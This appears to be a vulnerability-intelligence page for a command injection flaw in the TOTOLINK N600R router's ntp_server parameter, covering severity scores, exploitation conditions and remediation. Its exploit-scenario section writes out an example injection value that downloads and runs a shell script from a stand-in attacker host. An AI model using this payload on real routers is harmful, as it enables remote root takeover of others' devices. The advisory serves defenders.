Skip to main content

TOTOLINK N600R CVE-2026-79912

| EUVDEUVD-2026-66186 MEDIUM
Command Injection (CWE-77)
2026-08-25 VulDB GHSA-7p5v-7f42-f3jj
5.5
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify internet-exposed N600R management interface
  2. Delivery
    Send crafted HTTP request to /cgi-bin/cstecgi.cgi
  3. Exploit
    Inject shell metacharacters into ntp_server parameter
  4. Execution
    popen() executes injected command as root
  5. Impact
    Full device compromise achieved

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires network-level access to the TOTOLINK N600R's HTTP/HTTPS web management interface and the ability to send a POST or GET request to /cgi-bin/cstecgi.cgi invoking the getCurrentTime function with a crafted ntp_server value containing shell metacharacters. The CVSS 4.0 vector (PR:N, UI:N) confirms no authentication is required and no victim interaction is needed. The primary limiting factor is network reachability: devices behind NAT without port forwarding of the management interface are not directly exploitable from the public internet but remain vulnerable to any attacker with LAN access or who has already compromised an internal host. Default configurations of SOHO routers often leave management interfaces accessible only on the LAN side, which would restrict the realistic attack population to local network adversaries; however, routers with remote management enabled or directly bridged to a public IP are fully exposed.

Impact

The CVSS 4.0 base vector scores this at 6.9 (Medium) with all vulnerable-system impact metrics at Low (VC:L/VI:L/VA:L), a rating that is inconsistent with the confirmed popen-based command injection technique, which on embedded router CGI handlers - where root-level execution is standard - would realistically yield full system compromise. This discrepancy is a key conflict in the available data: defenders should not rely on the 6.9 score as an accurate ceiling for impact and should treat C/I/A impact as High until the vendor clarifies the execution privilege context. The PR:N and UI:N designations in the CVSS 4.0 vector confirm the vulnerability is exploitable remotely without authentication or user interaction, and E:P (Proof of Concept) confirms working exploit code is public, sharply reducing attacker skill requirements. No CISA KEV listing is present, so active exploitation in campaigns has not been confirmed, but the public PoC materially raises the real-world risk for any internet-exposed deployment. EPSS data was not included in the provided intelligence, limiting probabilistic exploitation forecasting.

Exploit ScenarioDerived

An unauthenticated remote attacker sends an HTTP request to /cgi-bin/cstecgi.cgi targeting the getCurrentTime function, with the ntp_server parameter set to a value containing shell metacharacters such as ; wget http://attacker.example/shell.sh -O /tmp/s; sh /tmp/s;. The CGI process passes this value unsanitized to popen(), executing the injected shell commands with the privileges of the CGI handler - likely root on this device class. A public PoC documenting this exact technique is available on GitHub, making the attack immediately reproducible by low-skill adversaries.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 1.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Remote command injection in TOTOLINK N600R firmware 4.3.0cu.7647_B20210106 allows unauthenticated network attackers to execute arbitrary OS commands by supplying shell metacharacters in the ntp_server parameter to the getCurrentTime handler at /cgi-bin/cstecgi.cgi. A public proof-of-concept demonstrating popen-based injection is available on GitHub, confirmed by the CVSS 4.0 E:P exploit maturity indicator, meaning exploitation requires minimal attacker skill. No vendor-released patch has been identified in available intelligence, leaving internet-exposed devices unmitigated.

RemediationAI

No vendor-released patch has been identified in the available intelligence - no fix version or official TOTOLINK advisory appears in the provided references. As an immediate compensating control, remove N600R management interfaces from direct internet exposure by placing devices behind an upstream firewall with port-level ACLs blocking HTTP/HTTPS access to the router's administration interface from untrusted networks; this prevents remote exploitation but does not address LAN-side risk from internal attackers. If remote management is operationally required, restrict it to a specific trusted IP allowlist at the perimeter. Given that the affected firmware build dates to January 2021, device replacement with an actively maintained alternative is the recommended long-term posture. Monitor https://www.totolink.net/ for firmware updates and consult the VulDB entry at https://vuldb.com/vuln/395062 for intelligence updates. The public PoC is documented at the GitHub link referenced in the CVE record.

Affected VersionsENISA

N600R 4.3.0cu.7647_B20210106

Affected Packages

euvd n600r no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected product is TOTOLINK N600R, a consumer SOHO wireless router, identified by CPE cpe:2.3:a:totolink:n600r:*:*:*:*:*:*:*:* at firmware build 4.3.0cu.7647_B20210106 (January 2021). The vulnerability class is CWE-77 (Improper Neutralization of Special Elements used in a Command - Command Injection), rooted in the getCurrentTime function of the CGI dispatcher /cgi-bin/cstecgi.cgi. Based on the PoC filename referencing popen, the function calls the C standard library popen() to execute a shell command incorporating the user-supplied ntp_server value without sanitizing shell metacharacters. On embedded Linux routers, CGI handlers such as this commonly execute as root, meaning injected commands run with full OS privileges. This attack surface is typical of low-cost embedded routers where web interface components directly invoke system utilities without a privilege-separation layer.

Know when N600R gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 5.5 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
vuln.today AI 9.8 CRITICAL

Unauthenticated network-reachable popen injection on a root-running CGI process yields full OS control, warranting High C/I/A with no scope change needed.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

2
CVSS changed
Aug 25, 2026 - 23:22 NVD
6.9 (MEDIUM) 5.5 (MEDIUM)
CVE Published
Aug 25, 2026 - 22:30 cve.org
MEDIUM 6.9

DescriptionCVE.org

A vulnerability was detected in TOTOLINK N600R 4.3.0cu.7647_B20210106. The impacted element is the function getCurrentTime of the file /cgi-bin/cstecgi.cgi. Performing a manipulation of the argument ntp_server results in command injection. The attack can be initiated remotely. The exploit is now public and may be used.

Threat Intelligence Overview

EPSS Score
1.4%
Top 29% exploitable
Prevalence
Low
consumer-grade SOHO router, minimal enterprise deployment footprint
Exploit
POC
Public exploit code exists
Social Media
2
Sightings
Data Quality
7 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment CIRCL GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 1.4%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

49
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +28
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy